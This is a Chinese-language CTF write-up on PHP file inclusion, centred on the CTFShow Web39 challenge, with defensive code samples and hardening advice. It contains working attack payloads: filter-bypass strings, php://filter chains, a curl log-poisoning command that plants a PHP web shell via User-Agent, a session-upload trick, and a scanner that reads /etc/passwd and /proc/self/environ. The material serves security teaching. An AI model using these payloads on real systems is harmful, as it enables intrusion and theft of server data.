1. 项目概述:文件包含漏洞实战解析
这个标题指向的是CTF竞赛中常见的文件包含漏洞挑战,具体来自CTFShow平台的Web39题。文件包含(File Inclusion)是Web安全领域的经典漏洞类型,允许攻击者通过参数动态包含服务器上的任意文件。在真实渗透测试中,这类漏洞常导致敏感信息泄露甚至远程代码执行。
我最早接触这类漏洞是在2015年某次企业授权测试时,发现某OA系统存在本地文件包含,最终通过包含日志文件实现了RCE。如今在CTF比赛中,这类题目通常会设置更巧妙的限制条件,比如Web39这道题就涉及对include用法的特殊限制。
2. 文件包含漏洞核心原理
2.1 包含机制的本质差异
PHP中主要存在四种包含方式,其行为特性差异显著:
include() // 包含失败仅产生警告 include_once() // 防止重复包含 require() // 包含失败会致命错误 require_once() // 严格版单次包含在CTFShow-Web39的环境中,题目特别使用了include而非require,这意味着:
- 可以尝试包含不存在的文件来触发警告
- 不会因包含失败导致脚本终止
- 适合用来进行布尔型盲测
2.2 常见利用路径分析
常规文件包含的利用点通常包括:
1. 日志文件注入(/var/log/apache2/access.log) 2. 临时文件包含(/proc/self/fd/) 3. Session文件包含(/tmp/sess_[PHPSESSID]) 4. 环境文件读取(/proc/self/environ) 5. PHP伪协议利用(php://filter)但在实际解题时,需要特别注意服务器配置差异。比如在Docker化的CTF环境中,/var/log/路径可能根本不存在。
3. CTFShow-Web39解题实录
3.1 初始信息收集
首先对目标进行基础探测:
curl -v "http://target/web39/?file=phpinfo.php"关键发现:
- 存在file参数
- 报错显示Apache/2.4.38 (Debian)
- 禁用危险函数:exec, system, passthru等
3.2 突破过滤限制
题目设置了以下防御:
- 检查包含路径是否包含"flag"关键字
- 禁用常规协议(php://, data://等)
- 限制包含特定后缀文件
绕过方案:
// 使用目录遍历跳过关键字检测 ?file=./../../../../fl%2fag // 利用临时文件特性 ?file=/proc/self/cwd/flag.php // 大小写混淆 ?file=FlAg.pHp3.3 伪协议的高级利用
当常规方法失效时,可以尝试:
// 编码转换泄露源码 ?file=php://filter/convert.base64-encode/resource=flag.php // 多级过滤器链 ?file=php://filter/zlib.deflate|convert.base64-encode|zlib.inflate/resource=flag.php4. 防御方案深度解析
4.1 白名单验证实现
安全的包含实现应该这样写:
$allowed = ['header.php', 'footer.php']; if(in_array($_GET['file'], $allowed)) { include($_GET['file']); } else { include('default.php'); }4.2 目录锁定技术
更严格的防御方式:
define('BASE_DIR', '/var/www/includes/'); $file = realpath(BASE_DIR . $_GET['file']); if(strpos($file, BASE_DIR) === 0) { include($file); }5. 实战中的高阶技巧
5.1 日志污染技术
当存在文件包含但无法上传时:
- 修改User-Agent为PHP代码
- 包含access.log
- 代码将被执行
curl -A "<?php system($_GET['cmd']);?>" http://target/5.2 PHP_SESSION_UPLOAD_PROGRESS利用
通过上传文件触发session文件生成:
<form action="http://target/" method="POST" enctype="multipart/form-data"> <input type="hidden" name="PHP_SESSION_UPLOAD_PROGRESS" value="123" /> <input type="file" name="file" /> <input type="submit" /> </form>然后包含生成的session文件:
?file=/tmp/sess_1236. 现代环境下的变化
随着PHP版本更新,出现新的限制:
- PHP>=7.0 默认禁用远程包含(allow_url_include=Off)
- open_basedir限制目录访问
- disable_functions限制危险函数
绕过思路:
- 利用环境变量(LD_PRELOAD)
- 通过FFI扩展调用系统函数
- 内存操作函数(memcpy等)
7. 自动化检测方案
编写简单的检测脚本:
import requests payloads = [ '/etc/passwd', 'php://filter/convert.base64-encode/resource=index.php', '/proc/self/environ' ] for payload in payloads: r = requests.get(f'http://target/?file={payload}') if 'root:x' in r.text or 'PD9waHA' in r.text: print(f'Vulnerable to {payload}')8. 企业级防护建议
在生产环境中建议:
- 使用不可变基础设施(容器镜像)
- 部署WAF规则过滤包含特征
- 定期进行静态代码审计
- 实施最小权限原则
- 监控异常文件访问行为
我在某次金融行业渗透测试中发现,即使配置了open_basedir,通过/proc/self/mem仍可能读取敏感内存数据。这提醒我们防御需要多层纵深。